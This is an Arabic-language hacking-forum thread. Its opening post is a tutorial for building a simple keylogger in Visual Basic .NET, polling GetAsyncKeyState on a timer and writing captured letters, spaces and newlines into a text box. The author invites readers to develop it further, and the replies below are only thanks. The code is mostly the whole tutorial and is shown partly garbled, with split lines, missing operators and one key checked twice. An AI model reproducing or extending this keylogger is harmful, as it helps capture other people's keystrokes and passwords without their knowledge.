1. sTRANGE WORLd

    sTRANGE WORLd Developer

    الأنتساب:
    ‏28 مارس 2012
    المشاركات:
    104
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    18
    الوظيفة:
    قهر الحمايات
    الإقامة:
    مجهول
    [​IMG]

    [​IMG]


    ٱسًعدُ ٱلله ٱوِقَٱتُكم بّكل خٌيّر

    اليوم سنقوم بشرح كيفية

    صناعة كيلوجر بسيط جدا

    تستطيع التطوير عليه

    حسب خبرتك انا اعطي

    الشرح + الاكواد

    وانت طور فيه براحتك

    نبلش الشرح بسم الله ~

    *
    نفتح الفيجوال بيسك 2010 او 2012 ونختار مشروع جديد
    New - Project

    [​IMG]

    نسمي المشروع - Simple Keylogger

    [​IMG]

    تمام فتح لنا المشروع

    [​IMG]

    الان نقوم بأضافة 1 Rich Text Box + Timer

    نجعل Rich Box على كل الفورم

    [​IMG]

    الان نقوم بأستعراض كود التايمر

    [​IMG]

    نضع الكود التالي تحت الـ - Public Class Form1

    كود PHP:
    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
    [​IMG]

    الان نضع الكود التالي في التايمر 1

    الكود

    كود PHP:
    Dim hotkey1 As Boolean
          hotkey1 
    GetAsyncKeyState(Keys.A)
          If 
    hotkey1 True Then
              RichTextBox1
    .SelectedText "A"
          
    End If
          
    Dim hotkey2 As Boolean
          hotkey2 
    GetAsyncKeyState(Keys.B)
          If 
    hotkey2 True Then
              RichTextBox1
    .SelectedText "B"
          
    End If
     
          
    Dim hotkey3 As Boolean
          hotkey3 
    GetAsyncKeyState(Keys.C)
          If 
    hotkey3 True Then
              RichTextBox1
    .SelectedText "C"
          
    End If
     
          
    Dim hotkey4 As Boolean
          hotkey4 
    GetAsyncKeyState(Keys.D)
          If 
    hotkey4 True Then
              RichTextBox1
    .SelectedText "D"
          
    End If
     
          
    Dim hotkey5 As Boolean
          hotkey5 
    GetAsyncKeyState(Keys.E)
          If 
    hotkey5 True Then
              RichTextBox1
    .SelectedText "E"
          
    End If
     
          
    Dim hotkey6 As Boolean
          hotkey6 
    GetAsyncKeyState(Keys.F)
          If 
    hotkey6 True Then
              RichTextBox1
    .SelectedText "F"
          
    End If
     
          
    Dim hotkey7 As Boolean
          hotkey7 
    GetAsyncKeyState(Keys.G)
          If 
    hotkey7 True Then
              RichTextBox1
    .SelectedText "G"
          
    End If
     
          
    Dim hotkey8 As Boolean
          hotkey8 
    GetAsyncKeyState(Keys.H)
          If 
    hotkey8 True Then
              RichTextBox1
    .SelectedText "H"
          
    End If
     
          
    Dim hotkey9 As Boolean
          hotkey9 
    GetAsyncKeyState(Keys.I)
          If 
    hotkey9 True Then
              RichTextBox1
    .SelectedText "I"
          
    End If
     
          
    Dim hotkey10 As Boolean
          hotkey10 
    GetAsyncKeyState(Keys.J)
          If 
    hotkey10 True Then
              RichTextBox1
    .SelectedText "J"
          
    End If
     
          
    Dim hotkey11 As Boolean
          hotkey11 
    GetAsyncKeyState(Keys.K)
          If 
    hotkey11 True Then
              RichTextBox1
    .SelectedText "K"
          
    End If
     
          
    Dim hotkey12 As Boolean
          hotkey12 
    GetAsyncKeyState(Keys.L)
          If 
    hotkey12 True Then
              RichTextBox1
    .SelectedText "L"
          
    End If
     
          
    Dim hotkey13 As Boolean
          hotkey13 
    GetAsyncKeyState(Keys.M)
          If 
    hotkey13 True Then
              RichTextBox1
    .SelectedText "M"
          
    End If
     
          
    Dim hotkey14 As Boolean
          hotkey14 
    GetAsyncKeyState(Keys.N)
          If 
    hotkey14 True Then
              RichTextBox1
    .SelectedText "N"
          
    End If
     
          
    Dim hotkey15 As Boolean
          hotkey15 
    GetAsyncKeyState(Keys.O)
          If 
    hotkey15 True Then
              RichTextBox1
    .SelectedText "O"
          
    End If
     
          
    Dim hotkey16 As Boolean
          hotkey16 
    GetAsyncKeyState(Keys.P)
          If 
    hotkey16 True Then
              RichTextBox1
    .SelectedText "P"
          
    End If
     
          
    Dim hotkey17 As Boolean
          hotkey17 
    GetAsyncKeyState(Keys.Q)
          If 
    hotkey17 True Then
              RichTextBox1
    .SelectedText "Q"
          
    End If
     
          
    Dim hotkey18 As Boolean
          hotkey18 
    GetAsyncKeyState(Keys.R)
          If 
    hotkey18 True Then
              RichTextBox1
    .SelectedText "R"
          
    End If
     
          
    Dim hotkey19 As Boolean
          hotkey19 
    GetAsyncKeyState(Keys.S)
          If 
    hotkey19 True Then
              RichTextBox1
    .SelectedText "S"
          
    End If
     
          
    Dim hotkey20 As Boolean
          hotkey20 
    GetAsyncKeyState(Keys.T)
          If 
    hotkey20 True Then
              RichTextBox1
    .SelectedText "T"
          
    End If
     
          
    Dim hotkey21 As Boolean
          hotkey21 
    GetAsyncKeyState(Keys.U)
          If 
    hotkey21 True Then
              RichTextBox1
    .SelectedText "U"
          
    End If
     
          
    Dim hotkey22 As Boolean
          hotkey22 
    GetAsyncKeyState(Keys.V)
          If 
    hotkey22 True Then
              RichTextBox1
    .SelectedText "V"
          
    End If
     
          
    Dim hotkey23 As Boolean
          hotkey23 
    GetAsyncKeyState(Keys.X)
          If 
    hotkey23 True Then
              RichTextBox1
    .SelectedText "X"
          
    End If
     
          
    Dim hotkey24 As Boolean
          hotkey24 
    GetAsyncKeyState(Keys.Y)
          If 
    hotkey24 True Then
              RichTextBox1
    .SelectedText "Y"
          
    End If
     
          
    Dim hotkey25 As Boolean
          hotkey25 
    GetAsyncKeyState(Keys.Z)
          If 
    hotkey25 True Then
              RichTextBox1
    .SelectedText "Z"
          
    End If
     
          
    Dim hotkey26 As Boolean
          hotkey26 
    GetAsyncKeyState(Keys.Space)
          If 
    hotkey26 True Then
              RichTextBox1
    .SelectedText " "
          
    End If
     
          
    Dim hotkey27 As Boolean
          hotkey27 
    GetAsyncKeyState(Keys.Enter)
          If 
    hotkey27 True Then
              RichTextBox1
    .SelectedText vbNewLine
          End 
    If
     
          
    Dim hotkey28 As Boolean
          hotkey28 
    GetAsyncKeyState(Keys.W)
          If 
    hotkey28 True Then
              RichTextBox1
    .SelectedText "W"
          
    End If
     
          
    Dim hotkey29 As Boolean
          hotkey29 
    GetAsyncKeyState(Keys.W)
          If 
    hotkey29 True Then
              RichTextBox1
    .SelectedText "W"
          
    End If
    [​IMG]

    نذهب لخصائص التايمر ونجعلها كما في الصورة
    Interval = 90
    Enabled = True

    [​IMG]

    نعمل بلد ومبروووك عليك الكيلوجر )4:"

    [​IMG]

    تحميل الصور + الاكواد

    [​IMG]
     
    2 شخص معجب بهذا.
  2. .ılı.Iяẫqi.ılı.

    .ılı.Iяẫqi.ılı. DeveloPer Plus

    الأنتساب:
    ‏22 ديسمبر 2012
    المشاركات:
    144
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    IraQ
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    السلام عليكم ورحة الله وبركاته ,
    الله يعطيك العافيه يالغالي على الشرح !:"
    , ختم [[​IMG]]
     
  3. ӎƦ.HmidE

    ӎƦ.HmidE DeveloPer Plus

    الأنتساب:
    ‏9 يوليو 2012
    المشاركات:
    106
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    الوظيفة:
    .....
    الإقامة:
    JoRdaN
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    الله يعطيك العافية رائع مميز

    واصل ابداعك ولاتحرمنا من جديدك
     
  4. ĸʜɜʟɛɒ

    ĸʜɜʟɛɒ Active DeveloPer

    الأنتساب:
    ‏3 نوفمبر 2012
    المشاركات:
    102
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    Gaza
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    مشكور يا غالي على هذا الشرح
     
  5. A.R.K.A.N

    A.R.K.A.N DeveloPer Plus

    الأنتساب:
    ‏8 يناير 2013
    المشاركات:
    152
    الإعجابات المتلقاة:
    12
    نقاط الجائزة:
    18
    الإقامة:
    hacker
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    الله يعطيك العافية مبدع اخوي
    ماقصرت :{1}:
     
  6. ABOJANA IRAQY

    ABOJANA IRAQY DeveloPer Plus

    الأنتساب:
    ‏10 مايو 2013
    المشاركات:
    125
    الإعجابات المتلقاة:
    59
    نقاط الجائزة:
    28
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    يعطيك العافيه يـ غالي
    و ان شاء الله يسسستفيدو الجميع من شرحك الجميل
    بارك الله فيك:{7}:
     
  7. Amazighi_Hacker

    Amazighi_Hacker Developer

    الأنتساب:
    ‏3 أكتوبر 2011
    المشاركات:
    48
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    سوريا الشعب
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    مشكور بارك الله بيك
     
  8. IM MATRIX

    IM MATRIX Developer

    الأنتساب:
    ‏1 ابريل 2012
    المشاركات:
    86
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    وعليكم السلام ورحمه الله وبركاته
    .
    آلله يجزاك الخير
    .
    شرح متعوب عليه
    .
    بآرك الله بك
     
  9. THe Code

    THe Code Developer

    الأنتساب:
    ‏31 مارس 2012
    المشاركات:
    33
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    PHP
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    *،


    شكرآ ي وحشَ *:"
     
  10. Nafar One

    Nafar One Developer

    الأنتساب:
    ‏25 يناير 2012
    المشاركات:
    50
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    الوظيفة:
    أختراق مواقع
    الإقامة:
    فيَ مَمَلــكَـتــَي َالخاآصـَه
    رد: عمل كلوجر بـ الفيجوال دوت نت vb.net

    السلام عليكم

    مشكور يا غالي ,, ما ننحرم من جديدك ​
     

مشاركة هذه الصفحة